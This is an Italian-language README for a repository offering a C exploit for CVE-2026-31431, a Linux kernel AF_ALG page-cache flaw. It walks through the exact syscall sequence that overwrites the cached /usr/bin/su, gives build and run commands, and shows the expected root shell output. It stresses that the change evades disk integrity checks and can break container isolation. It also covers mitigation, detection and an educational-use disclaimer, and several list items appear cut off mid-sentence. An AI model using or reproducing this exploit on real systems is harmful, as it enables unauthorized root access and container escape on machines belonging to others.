
Exploit di escalation dei privilegi locale basato su C per CVE-2026-31431, una vulnerabilità del kernel Linux nell'interfaccia crittografica AF_ALG, che fornisce accesso root tramite manipolazione della cache di pagina.
Copy Fail (CVE-2026-31431) — è una vulnerabilità logica nel kernel Linux che consente a un utente locale non privilegiato di elevare i propri privilegi fino al livello di superutente (root). La vulnerabilità appartiene alla classe Local Privilege Escalation (LPE), non richiede condizioni di sfruttamento complesse (come race condition o indirizzamento di memoria) e funziona "out of the box" sulla maggior parte delle distribuzioni Linux rilasciate dopo il 2017.
Questo repository contiene una porta in linguaggio C dell'exploit Python originale con commenti dettagliati, adatta alla compilazione statica e all'uso in ambienti minimi.
La vulnerabilità deriva da un errore logico nel sottosistema crittografico del kernel Linux, legato alla gestione di AF_ALG (l'interfaccia dell'API crittografica del kernel) e del meccanismo della cache delle pagine (page cache).
L'errore è stato introdotto nel 2017 con l'aggiunta di un'ottimizzazione che ha eliminato la bufferizzazione superflua eseguendo le operazioni di cifratura a blocchi AEAD (Authenticated Encryption with Associated Data) in-place. A causa di una gestione errata dei limiti dei buffer nell'algoritmo authencesn (parte del template crittografico AEAD), si verifica una scrittura di 4 byte oltre i limiti del buffer allocato, che porta al danneggiamento delle strutture di controllo della cache delle pagine.
Di conseguenza, il kernel può scrivere dati nuovamente nella cache delle pagine di un file, anche se questo è stato aperto solo in lettura (O_RDONLY).
AF_ALG e inizializza l'algoritmo AEAD authencesn(hmac(sha256),cbc(aes)).setsockopt() vengono impostati parametri anomali:
sendmsg() con control messages viene avviata un'operazione di decifratura.splice() sposta i dati dal file di destinazione (aperto con O_RDONLY) al socket crittografico.authencesn, la cache delle pagine del file viene danneggiata e i dati "decifrati" vengono riscritti nella cache.root.Distribuzioni vulnerabili (con kernel che caricano il modulo algif_aead):
Rilevanza particolare: negli ambienti containerizzati (Docker, LXC, Kubernetes), ai processi all'interno del container è accessibile per impostazione predefinita il sottosistema AF_ALG, se il modulo algif_aead è caricato nel kernel dell'host. Questo crea il rischio di violazione dell'isolamento del container e di ottenere il controllo della macchina host.
Verifica della vulnerabilità:
# Verificare se il modulo algif_aead è caricato
lsmod | grep algif
# Verificare la presenza di AF_ALG nel kernel
grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)
L'exploit originale è stato scritto in Python (≈732 byte). Questa porta in C ha le seguenti caratteristiche:
libz.strace).recv() non bloccante — previene il blocco, replicando il comportamento try/except di Python.Differenze chiave rispetto alla versione Python, emerse durante la portabilità:
# Richiede libz (zlib1g-dev o zlib-devel)
gcc -o copyfail copyfail.c -lz -static -Wall -O2
./copyfail
In caso di sfruttamento riuscito, verrà avviata una versione patchata di /usr/bin/su che fornisce accesso root senza richiedere la password.
Output atteso:
================================================================
CVE-2026-31431 'Copy Fail' Exploit
================================================================
[+] /usr/bin/su aperto
[+] 40 chunk
[*] 40/40 ok
# id
uid=0(root) gid=0(root) groups=0(root)
Di seguito è riportata un'analisi dettagliata di ogni fase dell'exploit con le corrispondenti chiamate di sistema:
socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(sock, {sa_family=AF_ALG, salg_type="aead",
salg_name="authencesn(hmac(sha256),cbc(aes))"}, 88);
Viene creato un socket per l'accesso all'API crittografica del kernel. L'algoritmo authencesn (Authenticated Encryption with Sequence Numbers) è un algoritmo AEAD composito che utilizza AES-CBC per la cifratura e HMAC-SHA256 per l'autenticazione.
setsockopt(sock, SOL_ALG, ALG_SET_KEY, key, 40);
setsockopt(sock, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4);
accept(sock, NULL, NULL); // conn_sock
sendmsg(conn_sock, {payload="AAAA"+data,
cmsg=[(SOL_ALG, 3, 4 zeri), // ALG_SET_OP = DECRYPT
(SOL_ALG, 2, 0x10+19 zeri), // ALG_SET_IV
(SOL_ALG, 4, 0x08+3 zeri)]}, // ALG_SET_AEAD_ASSOCLEN
MSG_MORE);
Viene creata una connessione per l'operazione. Tramite sendmsg() con control messages (CMSG) vengono impostati i parametri:
ALG_OP_DECRYPT = 0).Tutte queste anomalie creano incongruenze nella gestione della memoria del kernel.
pipe2(pipe_fds, O_CLOEXEC);
splice(target_fd, &src_off, pipe_fds[1], NULL, o, 0);
splice(pipe_fds[0], NULL, conn_sock, NULL, o, 0);
splice() è una chiamata di sistema per spostare dati tra descrittori di file senza copia attraverso lo userspace. I dati vengono spostati a livello di kernel tramite il meccanismo della pipe.
splice(target_fd -> pipe): i dati dal file di destinazione (/usr/bin/su) entrano nella pipe.splice(pipe -> conn_sock): i dati dalla pipe entrano nel socket crittografico come "testo cifrato".Punto chiave: in Python (e in questa porta) l'offset per la pipe viene passato come NULL, consentendo al kernel di gestire automaticamente la posizione.
fcntl(conn_sock, F_SETFL, O_NONBLOCK);
recv(conn_sock, buf, 8 + t, 0);
La chiamata recv() forza il kernel a completare l'operazione crittografica. In modalità normale qui verrebbero restituiti i dati decifrati, ma a causa dei parametri anomali viene restituito un errore EBADMSG (Python) o EAGAIN (C con O_NONBLOCK). L'errore viene ignorato — il danneggiamento della cache delle pagine è già avvenuto nella fase splice().
La cache delle pagine (page cache) è la cache del contenuto dei file nella memoria RAM. Quando un processo apre un file con O_RDONLY, il kernel consente solo la lettura da questa cache. Tuttavia, la vulnerabilità consente di aggirare questa restrizione:
write(), ma splice() opera direttamente a livello della cache delle pagine, bypassando questi controlli.Le modifiche avvengono solo nella memoria RAM, non sul disco. Questo rende l'attacco difficile da rilevare con i mezzi standard di controllo dell'integrità. Dopo un riavvio o la pulizia della cache delle pagine, le tracce dell'attacco scompaiono.
Aggiornare il kernel Linux a una versione che contenga la correzione.
Disabilitare il modulo algif_aead:
# Impedire il caricamento del modulo
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/algif_aead.conf
# Scaricare il modulo (se caricato)
sudo rmmod algif_aead
Raccomandazioni aggiuntive:
AF_ALG tramite profili seccomp./usr/bin/su viene modificato sul disco?No. Le modifiche avvengono solo nella cache delle pagine (memoria RAM). Il contenuto del file sul disco rimane invariato. Dopo il riavvio del sistema, la cache delle pagine viene pulita e il file torna al suo stato originale.
Il rilevamento è possibile tramite:
auditd, strace).AF_ALG.I mezzi standard di controllo dell'integrità (AIDE, Tripwire) non rileveranno le modifiche, poiché il file sul disco rimane invariato.
Questo codice è fornito esclusivamente a scopo educativo e di ricerca. L'autore non è responsabile per qualsiasi utilizzo di questo codice per scopi illeciti. L'utilizzo dell'exploit senza l'esplicita autorizzazione del proprietario del sistema è illegale e può comportare responsabilità penali.
Utilizzare solo su sistemi di propria proprietà o su sistemi per i quali si dispone di un'esplicita autorizzazione scritta per il test di sicurezza.
| Componente | Descrizione |
|---|
| Kernel Linux | Tutte le versioni dal 2017 fino all'inclusione della patch correttiva |
| Sottosistema | crypto (modulo algif_aead) |
| Interfaccia | AF_ALG — accesso utente alla crypto-API del kernel |
| Chiamata di sistema | splice() in combinazione con i socket AF_ALG |
| Parametro | Python | C (questa porta) |
|---|
Flag sendmsg() | MSG_MORE | MSG_MORE |
Flag splice() | 0 | 0 |
| Offset nella pipe | NULL | NULL |
| Dimensione chiave | 40 byte | 40 byte |
cmsg_len | 20/36/20 | 20/36/20 (hardcoded) |
| Creazione pipe | pipe2(fds, O_CLOEXEC) | pipe2(fds, O_CLOEXEC) |
recv() | Bloccante con try/except | Non bloccante (O_NONBLOCK) |